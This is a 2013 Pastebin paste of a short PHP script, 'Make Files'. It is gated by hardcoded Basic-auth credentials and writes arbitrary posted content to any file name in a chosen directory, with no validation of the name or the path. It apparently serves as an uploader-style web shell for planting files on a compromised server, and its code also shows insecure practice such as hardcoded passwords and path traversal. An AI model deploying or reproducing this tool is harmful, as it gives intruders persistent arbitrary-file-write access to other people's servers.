Advertisement
RieqyNS13

mbuh

Feb 18th, 2013
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.40 KB | None | 0 0
  1. <?php
  2. //cek session
  3. session_start();
  4. if(!isset($_SESSION['user'])){
  5.     Login();
  6. }
  7.  
  8. //login function
  9. function Login(){
  10.     $user = "rieqy";
  11.     $pass = "maho";
  12.     if(!isset($_SERVER['HTTP_AUTH_USER'])){
  13.         header("WWW-Authenticate: Basic realm=\"RieqyNS13\"");
  14.         header("HTTP/1.0 401 Unauthorized");
  15.         exit;
  16.     }
  17.     if(($_SERVER['HTTP_AUTH_USER'] == $user) && ($_SERVER['HTTP_AUTH_PW'] == $pass)){
  18.         $_SESSION['user'] = $user;
  19.         header("Location: ".$_SERVER['REQUEST_URI']);
  20.     }
  21. }
  22.  
  23. //Jika Session sudah diset, kode di bawah akan dijalankan
  24. date_default_timezone_set("Asia/Jakarta");
  25. $result = null;
  26. $judul = null;
  27. $codes = null;
  28. if(isset($_POST['btnSubmit'])){
  29.     if(empty($_POST['txJudul']) || empty($_POST['txCodes'])){
  30.         $result = "Judul atau kotak area masih kosong";
  31.         $judul = trim($_POST['txJudul']);
  32.         $codes = trim($_POST['txCodes']);
  33.         $date = null;
  34.     }else{
  35.         if(isset($_POST['dir']) && !empty($_POST['dir'])){
  36.             $judul = trim($_POST['txJudul']);
  37.         $codes = trim($_POST['txCodes']);
  38.         $dir = $_POST['dir'];
  39.         $result = "Disimpan di direktori ".$dir."<br>";
  40.         $handle = fopen($dir."/$judul", "w");
  41.         fwrite($handle, $codes);
  42.         fclose($handle);
  43.         $date = date("d-m-Y h:i:s");
  44.         }
  45.     }
  46. }else{
  47.     $date = null;
  48. }
  49. ?>
  50. <html>
  51. <head>
  52. <title>Make Files</title>
  53. <style type="text/css">
  54. body{
  55. background:#000;
  56. color:#0F0;
  57. font-family:"Courier New";
  58. font-size:13px;
  59. }
  60. table td.xxx{
  61. text-align:right;
  62. font-size:14px;
  63. }
  64. input, textarea, select{
  65. border:solid #888 1px;
  66. font-family:"Courier New";
  67. background:#000;
  68. color:#0F0;
  69. }
  70. </style>
  71. </head>
  72. <body>
  73. <form action="<?php $_SERVER['PHP_SELF']; ?>" method=POST>
  74. <table>
  75. <tr><td class="xxx"><label for = "title">Judul :</label></td><td><input value="<?php echo $judul; ?>" type="text" size="50" name="txJudul"><input value="Generate"type="submit" name="btnSubmit"></td></tr>
  76. <tr><td class="xxx"><label for = "title">Lokasi :</label></td>
  77. <td><select name="dir">
  78. <?php
  79. $dir = ".";
  80.     $dh = opendir($dir);
  81.         while (($file = readdir($dh)) !== false) {
  82.         if(is_dir($file)){
  83.             echo "<option value=$file>$file</option>";
  84.             }
  85.         }
  86.         closedir($dh);
  87. ?>
  88. </select><label for="Result" style="font-size:13px;"><?php echo $result; ?></label></td></tr></table>
  89. <label for ="saved"><?php echo "Disimpan pada ".$date;?></label>
  90. <br>
  91. <textarea rows="50" cols="100" name="txCodes"><?php echo $codes; ?></textarea>
  92. </form>
  93. </body>
  94. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement